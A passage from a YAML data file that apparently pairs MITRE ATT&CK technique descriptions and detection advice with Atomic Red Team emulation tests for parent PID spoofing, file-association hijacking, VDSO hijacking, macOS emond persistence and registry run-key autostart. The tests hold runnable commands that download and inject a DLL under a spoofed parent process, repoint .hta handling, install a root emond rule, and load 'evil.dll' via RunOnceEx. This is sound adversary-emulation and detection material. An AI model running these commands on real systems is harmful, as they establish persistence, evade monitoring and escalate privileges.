        url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
          Retrieved June 4, 2019.
      - source_name: Secuirtyinbits Ataware3 May 2019
        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
        description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
          Ataware Ransomware Part 3. Retrieved June 6, 2019.
      - source_name: DidierStevens SelectMyParent Nov 2009
        url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
      - source_name: CTD PPID Spoofing Macro Mar 2019
        url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
          to spoof parent processes and command line arguments. Retrieved June 3,
          2019.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

        Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

        Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Access Token Manipulation: Parent PID Spoofing'
      x_mitre_detection: |-
        Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)

        Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Metadata'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Heuristic Detection
      - Host Forensic Analysis
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1134.004
    atomic_tests:
    - name: Parent PID Spoofing using PowerShell
      auto_generated_guid: '069258f4-2162-46e9-9a25-c9c6c56150d2'
      description: |
        This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
        Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
        calc.exe will be launched.

        Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
      supported_platforms:
      - windows
      input_arguments:
        parent_process_name:
          description: Name of the parent process
          type: string
          default: explorer
        spawnto_process_path:
          description: Path of the process to spawn
          type: path
          default: C:\Program Files\Internet Explorer\iexplore.exe
        dll_process_name:
          description: Name of the created process from the injected dll
          type: string
          default: calculator
        dll_path:
          description: Path of the dll to inject
          type: path
          default: PathToAtomicsFolder\T1134.004\bin\calc.dll
        spawnto_process_name:
          description: Name of the process to spawn
          type: string
          default: iexplore
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL to inject must exist on disk at specified location (#{dll_path})

          '
        prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}"
      - description: 'PPID.ps1 must exist on disk at $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1

          '
        prereq_command: 'if (Test-Path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1" -OutFile "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"
      executor:
        command: |
          . "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"
          $ppid=Get-Process #{parent_process_name} | select -expand id
          PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"
        cleanup_command: |
          Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore
          Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
        name: powershell
    - name: Parent PID Spoofing - Spawn from Current Process
      auto_generated_guid: 14920ebd-1d61-491a-85e0-fe98efe37f25
      description: Spawns a powershell.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path or name of process to spawn
          type: path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_pid:
          description: PID of process to spawn from
          type: string
          default: "$PID"
        command_line:
          description: Specified command line to use
          type: string
          default: "-Command Start-Sleep 10"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine
          ''#{command_line}'' -ParentId #{parent_pid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from Specified Process
      auto_generated_guid: cbbff285-9051-444a-9d17-c07cd2d230eb
      description: Spawns a notepad.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        parent_pid:
          description: PID of process to spawn from
          type: string
          default: "$PID"
        test_guid:
          description: Defined test GUID
          type: string
          default: 12345678-1234-1234-1234-123456789123
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid
          #{test_guid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from svchost.exe
      auto_generated_guid: e9f2b777-3123-430b-805d-5cedc66ab591
      description: Spawnd a process as a child of the first accessible svchost.exe
        process.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: string
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine,
          ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" |
          Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path}
          -CommandLine ''#{command_line}'''
        name: powershell
    - name: Parent PID Spoofing - Spawn from New Process
      auto_generated_guid: 2988133e-561c-4e42-a15f-6281e6a9b2db
      description: Creates a notepad.exe process and then spawns a powershell.exe
        process as a child of it.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: string
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_name:
          description: Parent process to spoof from
          type: path
          default: "$Env:windir\\System32\\notepad.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent
          -FilePath #{file_path} -CommandLine ''#{command_line}'''
        name: powershell
  T1546.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: Change Default File Association'
      description: "Adversaries may establish persistence by executing malicious content
        triggered by a file type association. When a file is opened, the default program
        used to open the file (also called the file association or handler) is checked.
        File association selections are stored in the Windows Registry and can be
        edited by users, administrators, or programs that have Registry access or
        by administrators using the built-in assoc utility.(Citation: Microsoft Change
        Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc
        Oct 2017) Applications can modify the file association for a given file extension
        to call an arbitrary program when a file with the given extension is opened.\n\nSystem
        file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>,
        for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler
        for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>.
        The various commands are then listed as subkeys underneath the shell key at
        <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For
        example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*
        <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe
        values of the keys listed are commands that are executed when the handler
        opens the file extension. Adversaries can modify these values to continually
        execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.

        User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.

        Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      type: attack-pattern
      id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c
      created: '2020-01-24T13:40:47.282Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/001
        external_id: T1546.001
      - source_name: Microsoft Change Default Programs
        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
          Retrieved July 26, 2016.
        url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
      - source_name: Microsoft File Handlers
        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
          Retrieved November 13, 2014.
        url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
      - source_name: Microsoft Assoc Oct 2017
        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
          7, 2018.
        url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
      - source_name: TrendMicro TROJ-FAKEAV OCT 2012
        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
          8, 2018.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1546.001
    atomic_tests:
    - name: Change Default File Association
      auto_generated_guid: 10a08978-2045-4d62-8c42-1957bbbea102
      description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon
        successful execution, cmd.exe will change the file association of .hta to
        notepad.exe. \n"
      supported_platforms:
      - windows
      input_arguments:
        target_extension_handler:
          description: txtfile maps to notepad.exe
          type: path
          default: txtfile
        extension_to_change:
          description: File Extension To Hijack
          type: string
          default: ".hta"
        original_extension_handler:
          description: File Extension To Revert
          type: string
          default: htafile
      executor:
        command: 'assoc #{extension_to_change}=#{target_extension_handler}

          '
        cleanup_command: 'assoc  #{extension_to_change}=#{original_extension_handler}

          '
        name: command_prompt
        elevation_required: true
  T1055.014:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5
      created: '2020-01-14T01:35:00.781Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1055.014
        url: https://attack.mitre.org/techniques/T1055/014
      - source_name: Backtrace VDSO
        url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
          Retrieved June 15, 2020.
      - source_name: Syscall 2014
        url: https://lwn.net/Articles/604515/
        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
          2. Retrieved June 16, 2020.
      - source_name: GNU Acct
        url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
      - source_name: RHEL auditd
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
      - source_name: ArtOfMemoryForensics
        description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
      - source_name: ELF Injection May 2009
        url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
          GOT poisoning. Retrieved March 15, 2020.
      - source_name: VDSO Aug 2005
        url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
          June 16, 2020.
      - source_name: Chokepoint preload rootkits
        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may inject malicious code into processes via VDSO
        hijacking in order to evade process-based defenses as well as possibly elevate
        privileges. Virtual dynamic shared object (vdso) hijacking is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nVDSO hijacking involves redirecting calls to dynamically linked shared
        libraries. Memory protections may prevent writing executable code to a process
        via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).
        However, an adversary may hijack the syscall interface code stubs mapped into
        a process from the vdso shared object to execute syscalls to open and map
        a malicious shared object. This code can then be invoked by redirecting the
        execution flow of the process via patched memory address references stored
        in a process' global offset table (which store absolute addresses of mapped
        library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace
        VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in
        the context of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via VDSO hijacking
        may also evade detection from security products since the execution is masked
        under a legitimate process.  "
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: VDSO Hijacking
      x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace
        and mmap, that can be used to attach to, manipulate memory, then redirect
        a processes' execution path. Monitoring for Linux specific calls such as the
        ptrace system call should not generate large amounts of data due to their
        specialized nature, and can be a very effective method to detect some of the
        common process injection methods.(Citation: ArtOfMemoryForensics)(Citation:
        GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.014:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Ivan Sinyakov
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
      created: '2020-01-24T15:15:13.426Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1546.014
        url: https://attack.mitre.org/techniques/T1546/014
      - source_name: magnusviri emond Apr 2016
        url: http://www.magnusviri.com/Mac/what-is-emond.html
        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
          10, 2019.
      - source_name: xorrior emond Jan 2018
        url: https://www.xorrior.com/emond-persistence/
        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
          Persistence. Retrieved September 10, 2019.
      - source_name: sentinelone macos persist Jun 2019
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.

        The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

        Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Event Triggered Execution: Emond'
      x_mitre_detection: Monitor emond rules creation by checking for files created
        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.014
    atomic_tests:
    - name: Persistance with Event Monitor - emond
      auto_generated_guid: 23c9c127-322b-4c75-95ca-eff464906114
      description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor)
        daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124

        '
      supported_platforms:
      - macos
      input_arguments:
        plist:
          description: Path to attacker emond plist file
          type: path
          default: PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist
      executor:
        command: |
          sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
          sudo touch /private/var/db/emondClients/T1546.014
        cleanup_command: |
          sudo rm /etc/emond.d/rules/T1546.014_emond.plist
          sudo rm /private/var/db/emondClients/T1546.014
        name: sh
        elevation_required: true
  T1574.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Services File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_detection: "Look for changes to binaries and service executables that
        may normally occur during software updates. If an executable is written, renamed,
        and/or moved to match an existing service executable, it could be detected
        and correlated with other suspicious behavior. Hashing of binaries and service
        executables could be used to detect replacement against historical data.\n\nLook
        for abnormal process call trees from typical processes and services and for
        execution of other commands that could relate to Discovery or other adversary
        techniques. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
      created: '2020-03-12T20:43:53.998Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/010
        external_id: T1574.010
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1547.001:
    technique:
      modified: '2023-10-16T09:08:22.319Z'
      name: 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'
      description: |-
        Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

        The following run keys are created by default on Windows systems:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

        Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

        Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

        The following Registry keys can be used to set startup folder items for persistence:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

        The following Registry keys can control automatic startup of services during boot:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

        Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

        Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run automatically for the currently logged-on user.

        By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

        Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      kill_chain_phases:
